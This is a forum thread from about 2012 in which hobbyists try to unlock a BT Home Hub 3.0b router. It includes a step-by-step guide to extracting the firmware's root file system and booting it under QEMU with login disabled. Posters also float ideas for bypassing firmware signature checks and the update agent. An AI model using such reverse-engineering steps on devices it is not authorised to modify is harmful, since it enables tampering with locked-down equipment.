cheers, a
-
Thank you very much Burakkucat, for going to that trouble. I've got you a little reward (see below). It is a pot of fresh Pacific sea cucumbers. An oriental delicacy enjoyed by man and cat alike :D Beats a tin of sardines, any day!
http://item.taobao.com/item.htm?id=8810013125
Yummy! :yum: b*cat starts to think about his evening meal.
More head-scratching!
In return, I have a little gift idea for you -- a nit-comb (http://www.amazon.co.uk/Nitty-Gritty-Head-Lice-Metal/dp/B001PML6Y6)!
-
Firmware upgrade released July 2012
Sorry if this is the wrong place for this. I have spent several days unsuccessfully searching for the latest firmware for the BT HH3B. As I do not have a BT line the firmware does not upgrade. Having been successful with the HH2, unlocking it, upgrading the firmware etc., I was hoping to be clever with this model but I have now pulled out all my hair going round in circles reading the same old nonsense time and time again. Is there anyone out who can advise me please? Much appreciated if you can.
-
Hello Brian,
Are you sure that a Beattie line and service is required to obtain the firmware upgrade for a HH3.0B?
From my limited understanding of how the BTAgent works, it makes an occasional connection to the update server, reports the current status of the modem/router and asks if there is anything to be done. If the server detects that the firmware should be updated, the client software (the BTAgent) allows the server to take control and perform the deed.
For example. I do not have a Beattie line or service. As part of some experiments, earlier this year, I had a 2Wire 2700HGV (a.k.a. a type two BT Business Hub, Version 2.0 connected to my line). It eventually (via the BTAgent) made contact with the update server and had its firmware updated from 6.1.x to 6.3.y . . . I would be very surprised it the agent in the HH3.0B acts any differently. :-\
-
Just a quick thought on this one.. - Hi sorry i am new to the forum btw...
I have got a working (though dismantled) BT HH3 type B. available as of tomorrow.
I Am A BT Customer - And to be honest i get through these routers more regularly than i do hot dinners. they are rubbish but they are free for me. - so - in an effort to reduce your costs of purchasing and to hopefully speed up the process of unlocking this router...
Where should i send my old type B routers to - they all work! though maybe a donation towards the postage would be nice!!!
... JUST A WARNING I AM NOT A HACKER CRACKER OR ANYTHING SO IF WHAT I SAY MAKES NO SENSE - SEND ME BACK TO MY HOLE! ...
Having read through the work your all doing here. - I am quite intrigued gone from the simple, to the complicated and back again.
With regards to the USB slot.
The router has got a boot sector, and a USB Port. - I saw the post with the html page that looks a promising thing... has anyone tried booting with reset pressed whilst having a bootable USB Stick with the software to flash the BT HH 3.0b already on it, using and attempting all various and prior mention button combos possible.
I would attempt to do this myself, - but i wouldn't know what software to begin testing this with...
******************
Something else that i have seen done before though that was at a convention i attended... is to create a virtual infrastructure that can possibly fool the HH3 into believing that it is connected to the internet - discovering the IP address that the router trys to connect to when looking for a connection to update its firmware. then mimicking that - with instruction to to flash the firmware with software that you want (that is compatible and not going to brick it) essentially getting the BTagent in the router to give up it's secrets somehow.
the key with this would be to grab the info as it leaves the router and before it gets to the openreach modem whilst capturing the data - maybe that could reveal something.
I know that this is pretty old school - but what about older methods of revealing things such as "lsof"
you probably know all this stuff but i went back over some of the old school techniques, using something like "netstat -tupac" running in realtime whilst having your connection between the homehub and the modem might reveal some open ports or even connections that the router attempts to make and what ports and such are being used to do it with and even more so at what point in the process does the router open these ports in order to try and obtain this information.
I am certain that if any unlocking of software is to be done - it will be through the USB - or from an external source. and the access to ports and other fun things will otherwise be closed off to the internal Ethernet network.
Inappropriate link removed by admin
-
Emulating the update infrastructure wouldn't work as BTAgent uses public key encryption and we only have access to the device key(s).
I did briefly consider 'recording' the update process using Honeywall to grab the update file but it's rather impractical as I've no way of predicting when BTAgent would actually do an update check and decrypting the data stream might prove rather complicated.
At the moment I'm looking into system emulation. It might be possible to determine what we need by actually getting the bootloader/cfe running in an emulator.
First I have to find a suitable emulator of course and there are so bloody many to chose from :'(
I was looking at QEMU but it doesn't really seem suited to emulating embedded systems and would probably require more patching that I'm capable of. Particularly as I'm not familiar with it's internal architecture.
However I've just gotten access to OVP this morning - the one listed on the MIPS Technologies website - which looks promising going by the website blurb.
But I'm sure we're all far too familiar with difference between marketing nonsense and reality :(
-
Hi SecTSys!
Welcome to Kitz!
..With regards to the USB slot.
The router has got a boot sector, and a USB Port. - I saw the post with the html page that looks a promising thing... has anyone tried booting with reset pressed whilst having a bootable USB Stick with the software to flash the BT HH 3.0b already on it, using and attempting all various and prior mention button combos possible.
It's a good idea. What is "the software" though? It's quite possible that the kernel driver will try to auto-mount a USB drive, and perhaps execute a certain binary file on the drive, if the file is found. To pursue this avenue would involve running those processes in a system trace utility to see what file(s) they are looking for. May be a dead-end avenue though..
Also, maybe there's an exploit in the Samba/SMB implementation of the HH3.0b, which the PsiDOC team found with the other models of Home Hubs.
Something else that i have seen done before though that was at a convention i attended... is to create a virtual infrastructure that can possibly fool the HH3 into believing that it is connected to the internet - discovering the IP address that the router trys to connect to when looking for a connection to update its firmware. then mimicking that - with instruction to to flash the firmware with software that you want (that is compatible and not going to brick it) essentially getting the BTagent in the router to give up it's secrets somehow.
the key with this would be to grab the info as it leaves the router and before it gets to the openreach modem whilst capturing the data - maybe that could reveal something.
That's definitely do-able. There seem to be two methods for remote access to the firmware of these devices - and not just the HH3.0b. There is a periodic 'CPE phone home' method, and then there is a remotely-initiated network connection to the device. There's probably some blur between the two. Maybe the same CPE binaries found in the firmware serve in both roles, Either way, there is very limited documentation. Burakkucat has, however, discovered some function prototypes for btagent in a GPL code release for the Arcadyan firmware of a hitherto un-released Openreach VDSL2 modem. That would make a good starting point for discovering how btagent actually works.
I know that this is pretty old school - but what about older methods of revealing things such as "lsof" you probably know all this stuff but i went back over some of the old school techniques, using something like "netstat -tupac" running in realtime whilst having your connection between the homehub and the modem might reveal some open ports or even connections that the router attempts to make and what ports and such are being used to do it with and even more so at what point in the process does the router open these ports in order to try and obtain this information.
I am certain that if any unlocking of software is to be done - it will be through the USB - or from an external source. and the access to ports and other fun things will otherwise be closed off to the internal Ethernet network.
An interesting package full of Chinese electro-trickery just arrived. It includes some TSOP48 flash memory cradles that I plan to install to the PCB of the BT HH3.0b (and other devices). The cradle could allow arbitrary changes to be made to the flash memory, using a separate programmer. Perhaps the difficulty here is that the root file system of the HH3.0b seems to have a digital signature - a signature which is verified by the bootloader (and maybe the kernel) - and that signature is there to prevent file system modification.
The signature verification mechanism could either be disabled in the bootloader, or a faked signature could be generated for the modified file system (to cause a hash collision). Both potentially very difficult things to do though.
This seems to be a new trend - the use of digital signatures for embedded firmware of DSL CPE. Whereas, previously, security-through-obscurity techniques were used, e.g. the use of trivial tweaks to the file system compression algorithm, to foil end-user modifications.
cheers, a
-
Emulating the update infrastructure wouldn't work as BTAgent uses public key encryption and we only have access to the device key(s).
Maybe we could generate our own keypair and drop the public key into place in the firmware, overwriting the Beatie one :-X Incidentally, BT has used the same crypto keypair in multiple products over some years now. Which means that literally millions of devices are secured by an identical key. Here's hoping that BT is keeping that private key in a well-secured vault! :-X
I did briefly consider 'recording' the update process using Honeywall to grab the update file but it's rather impractical as I've no way of predicting when BTAgent would actually do an update check and decrypting the data stream might prove rather complicated.
At the moment I'm looking into system emulation. It might be possible to determine what we need by actually getting the bootloader/cfe running in an emulator.
First I have to find a suitable emulator of course and there are so bloody many to chose from :'(
I was looking at QEMU but it doesn't really seem suited to emulating embedded systems and would probably require more patching that I'm capable of. Particularly as I'm not familiar with it's internal architecture.
However I've just gotten access to OVP this morning - the one listed on the MIPS Technologies website - which looks promising going by the website blurb.
But I'm sure we're all far too familiar with difference between marketing nonsense and reality :(
A suitable MIPS32 Linux kernel has now been built using buildroot for QEMU. The file system of the HH3.0b is mounting okay as the root file system of that MIPS system running in emulation on a PC. The process can be documented for others interested. Lots of problems yet to solve before the emulated system is very useable. Some of those problems are quite complex. e.g. The Home Hub's userspace code is trying to read various bits of config data - including the username and password for the login shell - from a special area of the flash memory. In emulation where flash memory isn't there, that read() isn't going to work. It's possible, in theory for QEMU to intercept those system calls to read the flash. However, if the QEMU docs are up-to-date, the low-level glueware for those reads is working for ARM platforms but not MIPS, apparently. Also, there are six or seven kernel modules in the Broadcom builds for which there is no public source code. So the xTM/xDSL driver layers are never going to work in emulation (no doubt much to Broadcom's relief!)
Getting the Home Hub's network daemons up and running in QEMU on a PC would be a good basis for moving the hack along. strace, the system call tracer could be attached to those server processes to see what's going on under-the-hood.
cheers, a
-
Maybe we could generate our own keypair and drop the public key into place in the firmware, overwriting the Beatie one :-X
Surely that would only work if we already have access?
Incidentally, BT has used the same crypto keypair in multiple products over some years now. Which means that literally millions of devices are secured by an identical key. Here's hoping that BT is keeping that private key in a well-secured vault! :angel:
The one thing they are good at is keeping secrets. I'll certainly give them that ;D
A suitable MIPS32 Linux kernel has now been built using buildroot for QEMU. The file system of the HH3.0b is mounting okay as the root file system of that MIPS system running in emulation on a PC. The process can be documented for others interested. Lots of problems yet to solve before the emulated system is very useable. Some of those problems are quite complex. e.g. The Home Hub's userspace code is trying to read various bits of config data - including the username and password for the login shell - from a special area of the flash memory. In emulation where flash memory isn't there, that read() isn't going work. It's possible, in theory for QEMU to intercept those system calls to read the flash. However, if the QEMU docs are up-to-date, the low-level glueware fo those reads is working for ARM platforms but not MIPS, apparently. Also, there are six or seven kernel modules in the Broadcom builds for which there is no source code. So the xTM/xDSL driver layers are never going to work in emulation (no doubt much to Broadcom's relief!)
Getting the Home Hub's network daemons up and running in QEMU on a PC would be a good basis for moving the hack along. strace, the system call tracer could be attached to those server processes to see what's going on under-the-hood.
cheers, a
I'm planning a slight different approach. Start off with a minimal emulation platform with just the processor, ram and flash memory - using the flash dump kindly supplied by your good self :)
Log all the I/O attempts and then start adding whatever emulated peripherals I can until I get it running. It'll probably take a while but you never know, We might get lucky and identify the update process trigger from the I/O log.
One thing which did make me smile. I was reading through the OVP docs and it all seemed strangely familiar...
Then it suddenly struck me. The way their platform framework is put together is very similar to the methodology Peter Graham and I developed for emulating 8bit processors back in the early 80s ;D
Their's is rather more sophisticated of course... ::)
-
The one thing they are good at is keeping secrets. I'll certainly give them that ;D
Agreed... but if there is a secret then it must be shared, - otherwise it's just plain rude!!!
A suitable MIPS32 Linux kernel has now been built using buildroot for QEMU. The file system of the HH3.0b is mounting okay as the root file system of that MIPS system running in emulation on a PC. The process can be documented for others interested. Lots of problems yet to solve before the emulated system is very useable. Some of those problems are quite complex. e.g. The Home Hub's userspace code is trying to read various bits of config data - including the username and password for the login shell - from a special area of the flash memory. In emulation where flash memory isn't there, that read() isn't going work. It's possible, in theory for QEMU to intercept those system calls to read the flash. However, if the QEMU docs are up-to-date, the low-level glueware fo those reads is working for ARM platforms but not MIPS, apparently. Also, there are six or seven kernel modules in the Broadcom builds for which there is no source code. So the xTM/xDSL driver layers are never going to work in emulation (no doubt much to Broadcom's relief!)
Getting the Home Hub's network daemons up and running in QEMU on a PC would be a good basis for moving the hack along. strace, the system call tracer could be attached to those server processes to see what's going on under-the-hood.
cheers, a
I'm planning a slight different approach. Start off with a minimal emulation platform with just the processor, ram and flash memory - using the flash dump kindly supplied by your good self :)
Log all the I/O attempts and then start adding whatever emulated peripherals I can until I get it running. It'll probably take a while but you never know, We might get lucky and identify the update process trigger from the I/O log.
both methods would in appearance be worth testing. good luck... :)
-
Maybe we could generate our own keypair and drop the public key into place in the firmware, overwriting the Beatie one :-X
Surely that would only work if we already have access?
The same BTAgent software is found in binary form in most CPE from BT. Those binaries/closed source libraries can be run in a MIPS emulator.
I'm planning a slight different approach. Start off with a minimal emulation platform with just the processor, ram and flash memory - using the flash dump kindly supplied by your good self :)
Log all the I/O attempts and then start adding whatever emulated peripherals I can until I get it running. It'll probably take a while but you never know, We might get lucky and identify the update process trigger from the I/O log.
Good luck! You're on your own with that one!
One thing which did make me smile. I was reading through the OVP docs and it all seemed strangely familiar...
Then it suddenly struck me. The way their platform framework is put together is very similar to the methodology Peter Graham and I developed for emulating 8bit processors back in the early 80s ;D
Their's is rather more sophisticated of course... ::)
Aha. If that was the Dr Peter Graham of umanitoba.edu (http://www.cs.umanitoba.ca/~pgraham/), then he's a proper Unix beardie! What was the development?
cheers, a
-
Hi Guys,
Here's how to build a MIPS32 system that will run in emulation on a PC (a Debian/wheezy Linux install).
The root file system of the BT Home Hub 3.0b is mounted by a Linux kernel built for the MIPS Malta evaluation board. The Malta board is a $3000 development platform that is supported by QEMU the open-source processor emulator. [1]
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww4.picturepush.com%2Fphoto%2Fa%2F9015082%2F480%2FMIPS-Malta-development-board%2FMalta.trans.gif&hash=5c37437881a19816929985795f5ae1623640555a) (http://picturepush.com/public/9015082)
MIPS Malta ATX factor evaluation board
Firstly, install QEMU - the processor emulator. See [2]
$ apt-get install qemu qemu-user-static
The 32MB NAND flash image for the BT Home Hub 3.0b (f/w revision V100R001C01B031SP09 [2011-06-01] ) can be downloaded from here. [3]
First we extract the jffs2 root file system image from that NAND image
$ dd if=hh3.0b.V100R001C01B031SP09_L_B_t2011-06-01_22_39.eccstripped.bin of=hh3.0b_jffs2_be skip=$((0x8000)) count=12173332 bs=1
Convert that bigendian jffs2 image to little-endian bytesex for mounting on an x86 PC:
$ jffs2dump --bigendian hh3.0b_jffs2_be --endianconvert=hh3.0b_jffs2_le
Mount the HH3.0b jffs2 root file system at /mnt/hh3.0b_jffs2_le
$ modprobe mtdblock
$ modprobe mtdram total_size=300000
$ dd if=./hh3.0b_jffs2_le of=/dev/mtdblock0
$ mkdir /mnt/hh3.0b_jffs2_le
$ mount -t jffs2 /dev/mtdblock0 /mnt/hh3.0b_jffs2_le
Create an empty 100MB file
$ dd if=/dev/zero of=hh3.0b.ext2 bs=512 count=$((0x30000))
Make the file into an ext2 image and mount it under /mnt/hh3.0b_ext2
$ mke2fs -F hh3.0b.ext2
$ mkdir /mnt/hh3.0b_ext2
$ mount -t ext2 -o loop hh3.0b.ext2 /mnt/hh3.0b_ext2
Copy contents of (little-endian) jffs2 filesystem into our mounted ext2 file system
$ cp -ar /mnt/hh3.0b_jffs2_le/* /mnt/hh3.0b_ext2
This is what we've got:
$ ls -l /mnt/hh3.0b_ext2/
total 1392
dr-xr-xr-x 2 root 1101 2048 Jun 1 2011 bin
drwxrwxrwx 3 root root 1024 Jun 1 2011 BTAgent
-rw-r--r-- 1 root root 187416 Jun 1 2011 cferam.000
drwxrwx--- 2 root 1102 1024 Jun 1 2011 config
drwxr-xr-x 3 root root 1024 Jun 1 2011 dev
dr-xr-xr-- 8 root 1102 1024 May 31 2011 etc
drwxrwxrwx 5 root root 2048 Jun 1 2011 lib
lrwxrwxrwx 1 root 1101 11 Jun 1 2011 linuxrc -> bin/busybox
drwxr-xr-x 2 root root 1024 Jun 1 2011 mnt
drwxr-xr-x 2 root root 1024 Jun 1 2011 proc
dr-xr-xr-x 2 root 1101 1024 Jun 1 2011 sbin
drwxr-xr-x 2 root root 1024 Jun 1 2011 tmp
dr-xr-xr-x 3 root 1101 1024 Jun 1 2011 usr
drwxrwx--- 2 root 1102 1024 Jun 1 2011 var
-rw-r--r-- 1 root root 1202746 Jun 1 2011 vmlinux.lz
We can disable login authentication by modifying /etc/inittab as follows (viz the respawn line)
$ cat /mnt/hh3.0b_ext2/etc/inittab
::sysinit:/etc/init.d/rcS
::respawn:/bin/sh
# tty2::askfirst:-/bin/sh
#::ctrlaltdel:/bin/umount -a -r
Now unmount our ext2 fs image and our jffs2 image
$ umount /mnt/hh3.0b_ext2
$ umount /mnt/hh3.0b_jffs2_le
And that is the HH3.0b root file system sorted out, ready for the emulator
Now we can build a MIPS32 Linux kernel that will run in QEMU emulation on the PC
To do that, we will use the buildroot cross-compiler toolchain (latest stable version). See [4]
$ wget http://buildroot.uclibc.org/downloads/buildroot-2012.05.tar.bz2
$ tar jxvf buildroot-2012.05.tar.bz2
$ cd buildroot-2012.05
We will use the default kernel config for the MIPS Malta Development Board (MIPS 32r2|OABI32|BE)
This is just illustrative. We can tweak the kernel build and userspace options properly later:
$ cp configs/qemu_mips_malta_defconfig .config
$ make
# [verify and confirm config options]
$ make
(simmer for 20-50 minutes depending on core speed. Zzzz!)
Hopefully, we now have a Linux (3.3.7) kernel built for the Malta board and our root file system (hh3.0b.ext2) for the BT Home Hub 3.0b.
Together, the kernel and the rootfs can be built into a complete MIPS32 system to run in emulation on the PC.
(Lots of tweaking needed - see all the errors about missing (Broadcom) kernel modules, flash partitions, network interfaces, etc.,etc.)
Start QEMU with the following command line options:
$ qemu-system-mips -M malta -kernel output/images/vmlinux -nographic -hda hh3.0b.ext2 -append "root=/dev/hda"
And away she goes!:
Linux version 3.3.7 (asbo@home) (gcc version 4.5.3 (Buildroot 2012.05) ) #1 SMP Fri Aug 17 03:22:58 BST 2012
Config serial console: console=ttyS0,38400n8r
bootconsole [early0] enabled
CPU revision is: 00019300 (MIPS 24Kc)
FPU revision is: 00000000
Determined physical RAM map:
memory: 00001000 @ 00000000 (reserved)
memory: 000ef000 @ 00001000 (ROM data)
memory: 003dc000 @ 000f0000 (reserved)
memory: 07b33000 @ 004cc000 (usable)
Wasting 39296 bytes for tracking 1228 unused pages
Zone PFN ranges:
DMA 0x00000000 -> 0x00001000
Normal 0x00001000 -> 0x00007fff
Movable zone start PFN for each node
Early memory PFN ranges
0: 0x00000000 -> 0x00007fff
PERCPU: Embedded 7 pages/cpu @81103000 s4672 r8192 d15808 u32768
Built 1 zonelists in Zone order, mobility grouping on. Total pages: 32511
Kernel command line: root=/dev/hda console=ttyS0,38400n8r
PID hash table entries: 512 (order: -1, 2048 bytes)
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Primary instruction cache 2kB, VIPT, 2-way, linesize 16 bytes.
Primary data cache 2kB, 2-way, VIPT, no aliases, linesize 16 bytes
Writing ErrCtl register=00000000
Readback ErrCtl register=00000000
Memory: 124988k/126156k available (2871k kernel code, 1168k reserved, 704k data, 196k init, 0k highmem)
Hierarchical RCU implementation.
NR_IRQS:256
CPU frequency 200.00 MHz
Console: colour dummy device 80x25
Calibrating delay loop... 847.05 BogoMIPS (lpj=4235264)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
Brought up 1 CPUs
NET: Registered protocol family 16
bio: create slab <bio-0> at 0
vgaarb: loaded
PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [mem 0x10000000-0x17ffffff]
pci_bus 0000:00: root bus resource [io 0x1000-0x1fffff]
pci 0000:00:0a.3: quirk: [io 0x1100-0x110f] claimed by PIIX4 SMB
vgaarb: device added: PCI:0000:00:12.0,decodes=io+mem,owns=none,locks=none
pci 0000:00:12.0: BAR 0: assigned [mem 0x10000000-0x11ffffff pref]
pci 0000:00:0b.0: BAR 6: assigned [mem 0x12000000-0x1200ffff pref]
pci 0000:00:12.0: BAR 6: assigned [mem 0x12010000-0x1201ffff pref]
pci 0000:00:12.0: BAR 1: assigned [mem 0x12020000-0x12020fff]
pci 0000:00:0a.2: BAR 4: assigned [io 0x1000-0x101f]
pci 0000:00:0b.0: BAR 0: assigned [io 0x1020-0x103f]
pci 0000:00:0b.0: BAR 1: assigned [mem 0x12021000-0x1202101f]
pci 0000:00:0a.1: BAR 4: assigned [io 0x1040-0x104f]
Switching to clocksource MIPS
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 4096 (order: 3, 32768 bytes)
TCP bind hash table entries: 4096 (order: 3, 32768 bytes)
TCP: Hash tables configured (established 4096 bind 4096)
TCP reno registered
UDP hash table entries: 128 (order: 0, 4096 bytes)
UDP-Lite hash table entries: 128 (order: 0, 4096 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
PCI: Enabling device 0000:00:0a.2 (0000 -> 0001)
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
msgmni has been set to 244
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
PCI: Enabling device 0000:00:12.0 (0000 -> 0002)
cirrusfb 0000:00:12.0: Cirrus Logic chipset on PCI bus, RAM (4096 kB) at 0x10000000
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
serial8250.0: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
serial8250.0: ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A
Uniform Multi-Platform E-IDE driver
piix 0000:00:0a.1: IDE controller (0x8086:0x7111 rev 0x00)
PCI: Enabling device 0000:00:0a.1 (0000 -> 0001)
piix 0000:00:0a.1: not 100% native mode: will probe irqs later
ide0: BM-DMA at 0x1040-0x1047
ide1: BM-DMA at 0x1048-0x104f
hda: QEMU HARDDISK, ATA DISK drive
hda: UDMA/33 mode selected
hdc: QEMU DVD-ROM, ATAPI CD/DVD-ROM drive
hdc: UDMA/33 mode selected
ide0 at 0x1f0-0x1f7,0x3f6 on irq 14
ide1 at 0x170-0x177,0x376 on irq 15
ide_generic: please use "probe_mask=0x3f" module parameter for probing all legacy ISA IDE ports
ide-gd driver 1.18
hda: max request size: 512KiB
hda: 196608 sectors (100 MB) w/256KiB Cache, CHS=195/255/63
hda: cache flushes supported
hda: unknown partition table
ide-cd driver 5.00
ide-cd: hdc: ATAPI 4X DVD-ROM drive, 512kB Cache
cdrom: Uniform CD-ROM driver Revision: 3.20
pcnet32: pcnet32.c:v1.35 21.Apr.2008 tsbogend@alpha.franken.de
PCI: Enabling device 0000:00:0b.0 (0000 -> 0003)
pcnet32: PCnet/PCI II 79C970A at 0x1020, 52:54:00:12:34:56 assigned IRQ 10
pcnet32: eth0: registered as PCnet/PCI II 79C970A
pcnet32: 1 cards_found
mousedev: PS/2 mouse device common for all mice
TCP cubic registered
NET: Registered protocol family 17
VFS: Mounted root (ext2 filesystem) readonly on device 3:0.
Freeing prom memory: 956k freed
Freeing unused kernel memory: 196k freed
init started: BusyBox vv1.9.1 (2011-06-01 22:36:10 CST)
starting pid 741, tty '': '/etc/init.d/rcS'
/bin/startbsp: line 22: cannot create /dev/mtdblock2: No such device or address
/bin/startbsp: line 23: cannot create /dev/mtdblock3: No such device or address
/bin/startbsp: line 24: cannot create /dev/mtdblock4: No such device or address
mount: mounting /dev/mtdblock2 on /var/module failed: No such device
mount: mounting /dev/mtdblock3 on /config failed: No such device
mount: mounting /dev/mtdblock4 on /var/middleware failed: No such device
Loading drivers and kernel modules...
insmod: cannot insert '/lib/extra/pktflow.ko': Success
insmod: cannot insert '/lib/extra/bcmfap.ko': Success
insmod: cannot insert '/lib/extra/bcmxtmcfg.ko': Success
insmod: cannot insert '/lib/extra/adsldd.ko': Success
insmod: cannot insert '/lib/extra/bcm_enet.ko': Success
insmod: cannot insert '/lib/extra/wl.ko': Success
insmod: cannot insert '/lib/extra/p8021ag.ko': Success
insmod: cannot insert '/lib/extra/bcmvlan.ko': Success
insmod: cannot insert '/lib/extra/pwrmngtd.ko': Success
insmod: cannot insert '/lib/kernel/drivers/watchdog/bcmdog.ko': Success
insmod: cannot insert '/lib/kernel/drivers/usb/storage/usb-storage.ko': Success
RCS DONE
starting pid 936, tty '': '/bin/sh'
With our kernel booted, we arrive at the familiar (GPL'ed ;- ) BusyBox shell [5]
Version 1.9.1 of BusyBox, apparently:
BusyBox vv1.9.1 (2011-06-01 22:36:10 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# cat /proc/version
Linux version 3.3.7 (asbo@home) (gcc version 4.5.3 (Buildroot 2012.05) ) #1 SMP Fri Aug 17 03:22:58 BST 2012
# cat /proc/cpuinfo
system type : MIPS Malta
processor : 0
cpu model : MIPS 24Kc V0.0 FPU V0.0
BogoMIPS : 847.05
wait instruction : yes
microsecond timers : yes
tlb_entries : 16
extra interrupt vector : yes
hardware watchpoint : yes, count: 1, address/irw mask: [0x0ff8]
ASEs implemented : mips16
shadow register sets : 1
kscratch registers : 0
core : 0
VCED exceptions : not available
VCEI exceptions : not available
# ls -l
-rw-r--r-- 1 0 0 1202746 vmlinux.lz
drwxrwx--- 15 0 1102 340 var
dr-xr-xr-x 3 0 1101 1024 usr
drwxrwx--- 2 0 1103 40 tmp
dr-xr-xr-x 2 0 1101 1024 sbin
dr-xr-xr-x 29 0 0 0 proc
drwxrwx--- 2 0 1103 40 mnt
lrwxrwxrwx 1 0 1101 11 linuxrc -> bin/busybox
drwxrwxrwx 5 0 0 2048 lib
dr-xr-xr-- 8 0 1102 1024 etc
drwxrwxrwt 2 0 0 1820 dev
drwxrwx--- 2 0 1102 1024 config
-rw-r--r-- 1 0 0 187416 cferam.000
drwxrwxrwx 3 0 0 1024 BTAgent
dr-xr-xr-x 2 0 1101 2048 bin
And here's the Broadcom xdslcmd tool, running in emulation on a PC:
# xdslcmd
Usage: xdslcmd start [--up] [--mod <a|d|l|t|2|p|e|m>] [--lpair <(i)nner|(o)uter>]
[--trellis <on|off>] [--snr <snrQ4>] [--bitswap <on|off>] [--sesdrop <on|off>]
[--sra <on|off>] [--CoMinMgn <on|off>] [--i24k <on|off>] [--phyReXmt <0xBitMap-UsDs>]
[--TpsTc <0xBitMap-AvPvAaPa>] [--monitorTone <on|off>]
[--forceJ43 <on|off>] [--toggleJ43B43 <on|off>]
xdslcmd stop
xdslcmd connection [--up] [--down] [--loopback] [--reverb]
[--medley] [--noretrain] [--L3] [--diagmode] [--L0]
[--tones] [--normal] [--freezeReverb] [--freezeMedley]
xdslcmd configure [--mod <a|d|l|t|2|p|e|m>] [--lpair <(i)nner|(o)uter>]
[--trellis <on|off>] [--snr <snrQ4>] [--bitswap <on|off>] [--sesdrop <on|off>]
[--sra <on|off>] [--CoMinMgn <on|off>] [--i24k <on|off>] [--phyReXmt <0xBitMap-UsDs>]
[--TpsTc <0xBitMap-AvPvAaPa>] [--monitorTone <on|off>]
[--forceJ43 <on|off>] [--toggleJ43B43 <on|off>]
xdslcmd bert [--start <#seconds>] [--stop] [--show]
xdslcmd afelb [--time <sec>] [--tones] [--signal <1/2/8>]
xdslcmd qlnmntr [--time <sec>] [--freq <msec>]
xdslcmd inm [--start <BB_THRESH 10*dB> <INMIATO> <INMIATS>] [--stop] [--show]
xdslcmd snrclamp [--shape <shapeId>] [--bpshape [bpIndex-bpLevel,]]
xdslcmd nlnm [--show ] [--setThld <Thld_Num_Tones>]
xdslcmd diag [--logstart <nBytes>] [--logpause] [--logstop] [--loguntilbufferfull <nBytes>]
[--loguntilretrain <nBytes>]
xdslcmd info [--state] [--show] [--stats] [--SNR] [--QLN] [--Hlog] [--Hlin] [--HlinS] [--Bits]
[--linediag] [--reset] [--vendor] [--cfg]
xdslcmd profile [--show] [--save] [--restore]
xdslcmd --version
xdslcmd --help
#
In summary: shown above, the file system of the BT Home Hub 3.0b is used as the rootfs for a MIPS32 Linux kernel running in emulation on a PC.
Any collaborators to get it running properly?!
cheers, a
[1] http://www.mips.com/products/development-kits/malta/
[2] http://www.qemu.org/
[3] http://docs.google.com/open?id=0B6wW18mYskvBaDBuSzhqZk13N3M
[4] http://buildroot.uclibc.org/about.html
[5] http://www.busybox.net/
-
If you can get this working and get the router performing to it's peak I am happy to follow instructions, once the whole thing is worked out ;)
I am Still learning this stuff... :p if i see something though that looks glaringly obvious i will point it out if it's been missed! - does that help in any way?
-
Sorry for the delay in replying asbokid.
I got sidetracked writing some tor control scripts in python for someone. Not being a pythonista it took me a few days to get the hang of the language.
It's got some nice high level features but I have to say I'm not a fan of the syntax. Get a space in amongst the indentation tabs and the damn thing chokes. Of course it won't actually tell you why you've got an indentation level error, just the fact that you have one >:(
Maybe we could generate our own keypair and drop the public key into place in the firmware, overwriting the Beatie one :-X
Surely that would only work if we already have access?
The same BTAgent software is found in binary form in most CPE from BT. Those binaries/closed source libraries can be run in a MIPS emulator.
I'm not sure where you're heading with that but that's probably just a failure of imagination on my part.
I'm planning a slight different approach. Start off with a minimal emulation platform with just the processor, ram and flash memory - using the flash dump kindly supplied by your good self :)
Log all the I/O attempts and then start adding whatever emulated peripherals I can until I get it running. It'll probably take a while but you never know, We might get lucky and identify the update process trigger from the I/O log.
Good luck! You're on your own with that one!
:lol:
Interestingly, the MIPS Malta platform you mention in a following post is one of the emulated platforms for the OVPSim I'm looking at.
I'm going to start looking at the examples over the weekend and perhaps try something more straightforward like u-boot on a 'bare-metal' platform before trying to setup a cfe environment.
One thing which did make me smile. I was reading through the OVP docs and it all seemed strangely familiar...
Then it suddenly struck me. The way their platform framework is put together is very similar to the methodology Peter Graham and I developed for emulating 8bit processors back in the early 80s ;D
Their's is rather more sophisticated of course... ::)
Aha. If that was the Dr Peter Graham of umanitoba.edu (http://www.cs.umanitoba.ca/~pgraham/), then he's a proper Unix beardie! What was the development?
cheers, a
No, it's not the same PG. Peter and I did embedded systems design during the 80's using the Z80 for the most part. We even did a couple of 'personal computer' designs for a client as well but neither of them made it to market. Too much competition from the likes of Clive Sinclair :)
For us emulation was simply a way of eliminating the rather lengthy EPROM erase/re-program cycle during development and testing. We made it a generic 'framework' so we could re-use it without having to do a major re-write every time.
-
Hello,
I'm new here. SecTSys got in touch with me via my company's website and asked if I'd be interested in joining in. As enticement, he sent me a couple of HH3s (rev b) to play with, so here I am.
I'd like to help out where possible, if that would be welcome. I think I'm mostly up to speed with the progress made so far (at least the broad strokes). It looks like the main goal here is to get the HH3b to take a modded firmware so the device can be used with other ISPs, and also to disable some undesired BT "features". Does that sound about right?
My first step /was/ going to be do desolder the flash chip and dump the firmware, but I see that's been done already. Nice! :-)
Anyway, as time allows, I'll start poking at the device and the firmware and see what I can come up with. If there are specific technical issues I should focus on directly, please let me know.
Unfortunately, this is a side project for me--I have to focus on paying client work first.
Cheers and looking forward to playing along.
Zach
-
Hello Zach and welcome to the Kitz forum.
Your understanding of the basic objectives is spot-on. Why should a piece of hardware be locked down to one particular ISP / CP (other than to maximise financial gain)? :-X (Rhetorical question!)
